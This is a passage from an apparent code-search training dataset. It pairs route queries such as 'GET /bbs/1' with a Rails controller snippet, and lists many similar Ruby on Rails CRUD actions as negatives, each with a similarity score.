"0.6951682",
"0.6951682",
"0.6951682",
"0.6951682",
"0.69311816",
"0.6601783",
"0.6601783",
"0.65434337",
"0.65094286",
"0.6436024",
"0.64005965",
"0.6399625",
"0.6354438",
"0.62435997",
"0.6235248",
"0.6220763",
"0.6183247",
"0.615962",
"0.6152385",
"0.61482817",
"0.61072564",
"0.6098982",
"0.6093713",
"0.609006",
"0.60627073",
"0.6059968",
"0.60592157",
"0.6043819",
"0.6041751",
"0.60170275",
"0.6009965",
"0.59758985",
"0.5959625",
"0.5940683",
"0.59344715",
"0.59203047",
"0.58953583",
"0.5843371",
"0.58346283",
"0.5825807",
"0.5816933",
"0.58071256",
"0.58071256",
"0.58071256",
"0.58071256",
"0.58071256",
"0.58071256",
"0.58071256",
"0.58071256",
"0.58071256",
"0.5793288",
"0.5785701",
"0.5782111",
"0.5742833",
"0.574281",
"0.574281",
"0.574281",
"0.574281",
"0.574281",
"0.574281",
"0.574281",
"0.574281",
"0.574281",
"0.574281",
"0.574281",
"0.57368207",
"0.573345",
"0.57180053",
"0.5713149",
"0.57121503",
"0.56938416",
"0.5692418",
"0.5692315",
"0.56917346",
"0.5690309",
"0.56882113",
"0.56882113",
"0.5686791",
"0.5686791",
"0.5686791",
"0.5686791",
"0.5686791",
"0.5686791",
"0.5686791",
"0.5683961",
"0.56817263",
"0.56804353",
"0.568015",
"0.5680121",
"0.5675958",
"0.5671031",
"0.56701785",
"0.5661847",
"0.565448",
"0.56529737"
] | 0.6266454 | 18 |
GET /bbs GET /bbs.json | def index
@bbs = Bb.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @bb = Bb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bb }\n end\n end",
"def show\n @weibo = Weibo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weibo }\n end\n end",
"def show\n @blast = Blast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blast }\n end\n end",
"def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend",
"def new\n @bb = Bb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bb }\n end\n end",
"def show\n @bloque = Bloque.find(params[:id])\n\n render json: @bloque\n end",
"def show\n @weibo = Weibo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weibo }\n end\n end",
"def show\n @facebook_blast = FacebookBlast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @facebook_blast }\n end\n end",
"def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end",
"def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end",
"def index\n @brags = Brag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brags }\n end\n end",
"def show\n @beer = BreweryDB.beer(params[:id]) \n render json: @beer\n end",
"def show\n @b = B.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @b }\n end\n end",
"def index\n @bemaps = Bemap.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bemaps }\n end\n end",
"def index\n @boks = Bok.all\n end",
"def show\n @kb = Kb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @kb }\n end\n end",
"def index\n if params[:title]\n @boats = Boat.where title: params[:title]\n else\n if params[:open_seats]\n @boats = Boat.where open_seats: params[:open_seats]\n else\n @boats = Boat.all\n end\n end\n render json: @boats\n end",
"def show\n @bp = Bp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bp }\n end\n end",
"def show\n @bloom = Bloom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bloom }\n end\n end",
"def index\n @blasts = Blast.accessible_by(current_ability)\n \n if params[:filter] && !params[:filter].blank?\n @blasts = Blast.where(\"title LIKE ?\", \"%#{params[:filter]}%\")\n end\n \n if params[:status] && !params[:status].blank?\n @blasts = Blast.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blasts.to_json(:include => [:output, :owner, :entry])}\n end\n end",
"def show\n @boat = Boat.find(params[:id])\n\n render json: @boat\n end",
"def index\n @bids = Bid.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bids }\n end\n end",
"def get_book_forum\n book = Book.find_by_id(params[:book_id])\n @posts = book.posts\n \n #render json: book.posts\n end",
"def show\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json {render json: @boat}\n end\n end",
"def index\n @bobs = Bob.paginate(:page => params[:page], :order => 'created_at DESC',:per_page => 30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bobs }\n end\n end",
"def show\n @bl = Bl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bl }\n end\n end",
"def show\n @broad = Broad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @broad }\n end\n end",
"def new\n @bounty = Bounty.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bounty }\n end\n end",
"def show\n @bdatabase = Bdatabase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bdatabase }\n end\n end",
"def index\n @fw_baidu_maps = current_user.baidu_maps\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fw_baidu_maps }\n end\n end",
"def index\n @blogs = Blog.all\n\n render json: @blogs\n end",
"def index\n @kbs = Kb.search(params[:q]).page(params[:page]).order(\"id desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @kbs }\n end\n end",
"def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end",
"def index\n @blogs = Blog.all\n render json: @blogs\n end",
"def do_GET(request, response)\n status = 200\n content_type = \"text/html\"\n body = \"bender version #{BENDER_VERSION}\"\n body += \"\\n\"\n\n response.status = status\n response['Content-Type'] = content_type\n response.body = body\n response.body = body\n end",
"def index\n @briefs = Brief.includes(:user).order(created_at: :desc).all\n render json: @briefs, each_serializer: BriefsSerializer\n end",
"def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end",
"def show\n @boy = Boy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @boy }\n end\n end",
"def show\n @boy = Boy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @boy }\n end\n end",
"def new\n @weibo = Weibo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weibo }\n end\n end",
"def index\n @breeds = Breed.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @breeds }\n end\n end",
"def show\n @blacklist = Blacklist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blacklist }\n end\n end",
"def show\n @b_log = BLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @b_log }\n end\n end",
"def index\n @bbhks = Bbhk.all\n end",
"def new\n @weibo = Weibo.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weibo }\n end\n end",
"def show\n @b_category = BCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @b_category }\n end\n end",
"def index\n @hobbies = Hobby.all\n render 'index', :formats => [:json], :handlers => [:jbuilder]\n end",
"def blogs\n @blogs = Blog.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end",
"def index\n @scrobbles = Scrobble.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scrobbles }\n end\n end",
"def index\n @breeds = Breed.all\n\n render json: @breeds\n end",
"def index\n @lobbies = Lobby.all\n\n respond_with @lobbies, {:except => [:id, :user_id]}\n end",
"def index\n #@boats = Boat.order(sort_column + ' ' + sort_direction)\n # @boats = Boat.all\n # if params[:search]\n @boats = Boat.search(params[:search])\n # else\n # @boats = Boat.order(sort_column + ' ' + sort_direction)\n # end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boats }\n end\n end",
"def index\n @blogs = Blog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blogs }\n end\n end",
"def index\n @blogs = Blog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blogs }\n end\n end",
"def index\n @bookmarks = Bookmark.all\n render json: { bookmarks: @bookmarks }, status: :ok\n end",
"def show\n @bike = Bike.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bike }\n end\n end",
"def get_beer\n beer_id = params['id'];\n response = HTTP.get('http://api.brewerydb.com/v2/beer/' + beer_id,\n :params=> {\n :key => ENV[\"BREWERYDB_BEERRATER_KEY\"],\n :withBreweries => \"y\"\n }\n )\n\n body = response.parse\n\n # check for success\n if body[\"status\"] == \"success\"\n data = body[\"data\"]\n unless data.nil?\n render json: {\n status: 200,\n message: \"#{params['id']} found\",\n data: data}\n else\n render json: {\n status: 200,\n message: \"#{params['id']} not found\",\n data: []\n }\n end\n else\n render json: { status: 401, message: body[\"errorMessage\"]}\n end\n end",
"def index\n url = \"https://data.cityofchicago.org/resource/x2n5-8w5q.json\"\n options = { :body => {:status => text}, :basic_auth => @auth }\n @response = HTTParty.get(url, options)\n\n @crime = Hash.new\n\n #@crime['block'] = @response[0]['block']\n @crime = @response\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gittos }\n end\n end",
"def show_beer\n render json: BreweryDb::ShowBeer.new(params[:beerId]).results\n end",
"def index\n @buses = Bus.order('leaving_from_id')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @buses }\n end\n end",
"def index\n @boards = Board.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boards }\n end\n end",
"def index\n @boards = Board.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boards }\n end\n end",
"def show\n @businessbook = Businessbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @businessbook }\n end\n end",
"def index\n @user_blogs = UserBlog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_blogs }\n end\n end",
"def show\n @bet = Bet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bet }\n end\n end",
"def find_beers\n # Use wild cards to get any beer with search string in name\n beer_name = \"*#{params['name']}*\"\n response = HTTP.get('http://api.brewerydb.com/v2/beers',\n :params=> {\n :key => ENV[\"BREWERYDB_BEERRATER_KEY\"],\n :name => beer_name,\n :withBreweries => \"y\"\n }\n )\n\n body = response.parse\n\n # check for success\n if body[\"status\"] == \"success\"\n data = body[\"data\"]\n unless data.nil?\n render json: { status: 200, message: \"#{params['name']} found\", data: data}\n else\n render json: {\n status: 200,\n message: \"#{params['name']} not found\",\n data: []}\n end\n else\n render json: { status: 401, message: body[\"errorMessage\"] }\n end\n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def index\n @bbs_threads = BbsThread.order(\"updated_at DESC\").page(params[:page])\n end",
"def index\n @bids = Bid.where(\"auction_id = ?\", params[:auction_id])\n\n render json: @bids\n end",
"def show\n @scrobble = Scrobble.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @scrobble }\n end\n end",
"def index\n @bs_blogs = BsBlog.all\n end",
"def show\n @baggage = Baggage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @baggage }\n end\n end",
"def index\n @balloons = Balloon.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded balloons', data:@balloons},status: :ok\n end",
"def index\n @bikes = current_user.bikes\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bikes }\n end\n end",
"def index\n @clubs = Club.all\n render json: @clubs\n end",
"def index\n @birds = Bird.all.to_a\n begin\n respond_to do |format|\n format.json { render json: {items: @birds, description: \"List all visible birds in the registry\", additionalProperties: false, title: \"POST /birds [request]\",:status => OK } }\n end\n rescue => e\n render json: ({:status => INTERNAL_SERVER_ERROR})\n end\n end",
"def find_bikes\n user_id = params[\"user_id\"]\n bike_ids = get_bike_ids(user_id)\n bikes = []\n bike_ids.each {|bike_id|\n bikes.push(get_bike(bike_id, user_id))\n }\n update_bike_database(bikes, user_id)\n render json: { new_bikes: bikes }\n end",
"def index\n response = RestClient.get 'http://api.bitvalor.com/v1/order_book.json'\n data = JSON.parse(response.body)[\"bids\"]\n @fox = data.select {|element| element[0] == \"FOX\"}\n @b2u = data.select {|element| element[0] == \"B2U\"}\n @mbt = data.select {|element| element[0] == \"MBT\"}\n end",
"def new\n @kb = Kb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @kb }\n end\n end",
"def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend",
"def show\n @basketball = Basketball.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @basketball }\n end\n end",
"def index\n @honey_badgers = HoneyBadger.all\n respond_to do |format|\n format.html\n format.json { render json: @honey_badgers }\n end\n end",
"def show\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bcard }\n end\n end",
"def show\n @bili = Bili.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bili }\n end\n end",
"def create\n @bb = Bb.new(params[:bb])\n\n respond_to do |format|\n if @bb.save\n format.html { redirect_to @bb, notice: 'Bb was successfully created.' }\n format.json { render json: @bb, status: :created, location: @bb }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @black_list = BlackList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @black_list }\n end\n end",
"def show\n render json: @bid\n end",
"def index\n\t\tboats = Assignment.all\n \trender json: boats, status: 200\n\tend",
"def index\n render json: Lobby.all.as_json( only: [:id, :name] )\n end",
"def show\n @ref_mkb = Ref::Mkb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ref_mkb }\n end\n end",
"def show\n @brewhouse = Brewhouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brewhouse }\n end\n end",
"def banks_get(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: BanksApi#banks_get ...\"\n end\n \n # resource path\n path = \"/banks\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['khipu']\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BanksResponse')\n if Configuration.debugging\n Configuration.logger.debug \"API called: BanksApi#banks_get. Result: #{result.inspect}\"\n end\n return result\n end",
"def show\n @brag = Brag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brag }\n end\n end",
"def create\n @bb = Bb.new(bb_params)\n\n respond_to do |format|\n if @bb.save\n format.html { redirect_to @bb, notice: 'Bb was successfully created.' }\n format.json { render :show, status: :created, location: @bb }\n else\n format.html { render :new }\n format.json { render json: @bb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @bot_bingo_numbers = BotBingoNumber.all\n\n respond_to do |format|\n format.html # index.html.erb\n # frommat.json { render json: @bot_bingo_numbers }\n end\n end",
"def show\n bike = Bike.find(params[:id]);\n render json: {status: 'SUCCESS', message:'Loaded bike', data:bike}, status: :ok\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def show\n @bico = Bico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bico }\n end\n end",
"def show\n @lobby = Lobby.find_by_id_str(params[:id])\n\n respond_with @lobby, {:except => [:id, :user_id]}\n end",
"def show\n @blacklist_word = BlacklistWord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blacklist_word }\n end\n end"
] | [
"0.7061532",
"0.6372534",
"0.63676804",
"0.62977475",
"0.6288213",
"0.62540007",
"0.6250688",
"0.61445594",
"0.61312085",
"0.6126052",
"0.61097634",
"0.6059838",
"0.6042345",
"0.6031007",
"0.60165703",
"0.60161185",
"0.5978962",
"0.59534454",
"0.5938299",
"0.5935922",
"0.593149",
"0.59311163",
"0.5922001",
"0.59179115",
"0.5891536",
"0.58765477",
"0.5864681",
"0.5833115",
"0.58093005",
"0.57974917",
"0.579299",
"0.5780959",
"0.57744634",
"0.57721746",
"0.5767654",
"0.5765374",
"0.5763502",
"0.5760441",
"0.5760441",
"0.57539314",
"0.5751172",
"0.5750109",
"0.57382995",
"0.57355493",
"0.57178736",
"0.57076544",
"0.5706849",
"0.5696549",
"0.569465",
"0.5693506",
"0.56796557",
"0.5673275",
"0.5669987",
"0.5669987",
"0.56510556",
"0.56463873",
"0.5639952",
"0.563808",
"0.56339407",
"0.5633867",
"0.5629307",
"0.5629307",
"0.5627757",
"0.5626952",
"0.56184554",
"0.5616519",
"0.5611815",
"0.5598829",
"0.5597569",
"0.55973846",
"0.55944556",
"0.559428",
"0.5582546",
"0.558221",
"0.5564636",
"0.555243",
"0.5548682",
"0.55426514",
"0.55405045",
"0.5533311",
"0.55328584",
"0.55265796",
"0.55250293",
"0.55179226",
"0.5516763",
"0.55123454",
"0.55102235",
"0.5505891",
"0.5503463",
"0.5500371",
"0.5498753",
"0.54986346",
"0.5498307",
"0.54884243",
"0.54803765",
"0.54787546",
"0.547708",
"0.547424",
"0.54741305",
"0.54670286"
] | 0.6912775 | 1 |
GET /bbs/1 GET /bbs/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @bb = Bb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bb }\n end\n end",
"def index\n @bbs = Bb.all\n end",
"def show\n @weibo = Weibo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weibo }\n end\n end",
"def show\n @blast = Blast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blast }\n end\n end",
"def show\n @weibo = Weibo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weibo }\n end\n end",
"def new\n @bb = Bb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bb }\n end\n end",
"def show\n @bloque = Bloque.find(params[:id])\n\n render json: @bloque\n end",
"def show\n @b = B.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @b }\n end\n end",
"def show\n @beer = BreweryDB.beer(params[:id]) \n render json: @beer\n end",
"def show\n @kb = Kb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @kb }\n end\n end",
"def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend",
"def show\n @facebook_blast = FacebookBlast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @facebook_blast }\n end\n end",
"def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end",
"def show\n @boat = Boat.find(params[:id])\n\n render json: @boat\n end",
"def show\n @bp = Bp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bp }\n end\n end",
"def show\n @bloom = Bloom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bloom }\n end\n end",
"def show\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json {render json: @boat}\n end\n end",
"def show\n @bl = Bl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bl }\n end\n end",
"def show\n @bdatabase = Bdatabase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bdatabase }\n end\n end",
"def show\n @broad = Broad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @broad }\n end\n end",
"def index\n @brags = Brag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brags }\n end\n end",
"def show\n @b_log = BLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @b_log }\n end\n end",
"def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end",
"def index\n @boks = Bok.all\n end",
"def index\n @bids = Bid.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bids }\n end\n end",
"def new\n @weibo = Weibo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weibo }\n end\n end",
"def show\n @scrobble = Scrobble.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @scrobble }\n end\n end",
"def show\n @boy = Boy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @boy }\n end\n end",
"def show\n @boy = Boy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @boy }\n end\n end",
"def new\n @weibo = Weibo.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weibo }\n end\n end",
"def show\n @b_category = BCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @b_category }\n end\n end",
"def index\n @bemaps = Bemap.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bemaps }\n end\n end",
"def index\n @bobs = Bob.paginate(:page => params[:page], :order => 'created_at DESC',:per_page => 30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bobs }\n end\n end",
"def show\n @bili = Bili.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bili }\n end\n end",
"def new\n @bounty = Bounty.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bounty }\n end\n end",
"def show\n @businessbook = Businessbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @businessbook }\n end\n end",
"def index\n if params[:title]\n @boats = Boat.where title: params[:title]\n else\n if params[:open_seats]\n @boats = Boat.where open_seats: params[:open_seats]\n else\n @boats = Boat.all\n end\n end\n render json: @boats\n end",
"def show\n @blacklist = Blacklist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blacklist }\n end\n end",
"def show\n @bike = Bike.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bike }\n end\n end",
"def index\n @blasts = Blast.accessible_by(current_ability)\n \n if params[:filter] && !params[:filter].blank?\n @blasts = Blast.where(\"title LIKE ?\", \"%#{params[:filter]}%\")\n end\n \n if params[:status] && !params[:status].blank?\n @blasts = Blast.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blasts.to_json(:include => [:output, :owner, :entry])}\n end\n end",
"def show\n @baggage = Baggage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @baggage }\n end\n end",
"def show\n @bet = Bet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bet }\n end\n end",
"def show\n @bico = Bico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bico }\n end\n end",
"def show\n @climb = Climb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @climb }\n end\n end",
"def show\n @ref_mkb = Ref::Mkb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ref_mkb }\n end\n end",
"def show\n @lobby = Lobby.find_by_id_str(params[:id])\n\n respond_with @lobby, {:except => [:id, :user_id]}\n end",
"def show\n @brag = Brag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brag }\n end\n end",
"def show\n @scribble = Scribble.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @scribble }\n end\n end",
"def do_GET(request, response)\n status = 200\n content_type = \"text/html\"\n body = \"bender version #{BENDER_VERSION}\"\n body += \"\\n\"\n\n response.status = status\n response['Content-Type'] = content_type\n response.body = body\n response.body = body\n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def get_book_forum\n book = Book.find_by_id(params[:book_id])\n @posts = book.posts\n \n #render json: book.posts\n end",
"def show_beer\n render json: BreweryDb::ShowBeer.new(params[:beerId]).results\n end",
"def show\n @bagtype = Bagtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bagtype }\n end\n end",
"def show\n @beat = Beat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beat }\n end\n end",
"def show\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bcard }\n end\n end",
"def new\n @kb = Kb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @kb }\n end\n end",
"def show\n @bio = Bio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bio }\n end\n end",
"def get_blast(blast_id)\n self.api_get(:blast, {:blast_id => blast_id.to_s})\n end",
"def index\n @blogs = Blog.all\n\n render json: @blogs\n end",
"def index\n @scrobbles = Scrobble.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scrobbles }\n end\n end",
"def get_beer\n beer_id = params['id'];\n response = HTTP.get('http://api.brewerydb.com/v2/beer/' + beer_id,\n :params=> {\n :key => ENV[\"BREWERYDB_BEERRATER_KEY\"],\n :withBreweries => \"y\"\n }\n )\n\n body = response.parse\n\n # check for success\n if body[\"status\"] == \"success\"\n data = body[\"data\"]\n unless data.nil?\n render json: {\n status: 200,\n message: \"#{params['id']} found\",\n data: data}\n else\n render json: {\n status: 200,\n message: \"#{params['id']} not found\",\n data: []\n }\n end\n else\n render json: { status: 401, message: body[\"errorMessage\"]}\n end\n end",
"def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end",
"def show\n @bob = Bob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bob }\n end\n end",
"def index\n url = \"https://data.cityofchicago.org/resource/x2n5-8w5q.json\"\n options = { :body => {:status => text}, :basic_auth => @auth }\n @response = HTTParty.get(url, options)\n\n @crime = Hash.new\n\n #@crime['block'] = @response[0]['block']\n @crime = @response\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gittos }\n end\n end",
"def show\n @jobber = Jobber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jobber }\n end\n end",
"def show\n @multi_board = MultiBoard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @multi_board }\n end\n end",
"def index\n @blogs = Blog.all\n render json: @blogs\n end",
"def show\n @bid = Bid.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_bid }\n end\n end",
"def index\n @hobbies = Hobby.all\n render 'index', :formats => [:json], :handlers => [:jbuilder]\n end",
"def index\n @breeds = Breed.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @breeds }\n end\n end",
"def show\n bike = Bike.find(params[:id]);\n render json: {status: 'SUCCESS', message:'Loaded bike', data:bike}, status: :ok\n end",
"def show\n @buisiness = Buisiness.find(params[:id])\n end",
"def index\n @kbs = Kb.search(params[:q]).page(params[:page]).order(\"id desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @kbs }\n end\n end",
"def show\n @bla = Bla.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bla }\n end\n end",
"def index\n @bookmarks = Bookmark.all\n render json: { bookmarks: @bookmarks }, status: :ok\n end",
"def index\n @blogs = Blog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blogs }\n end\n end",
"def index\n @blogs = Blog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blogs }\n end\n end",
"def index\n @lobbies = Lobby.all\n\n respond_with @lobbies, {:except => [:id, :user_id]}\n end",
"def index\n @bbhks = Bbhk.all\n end",
"def show\n @lbc = Lbc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lbc }\n end\n end",
"def show\n @banana = Banana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @banana }\n end\n end",
"def show\n @board = Board.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @board }\n end\n end",
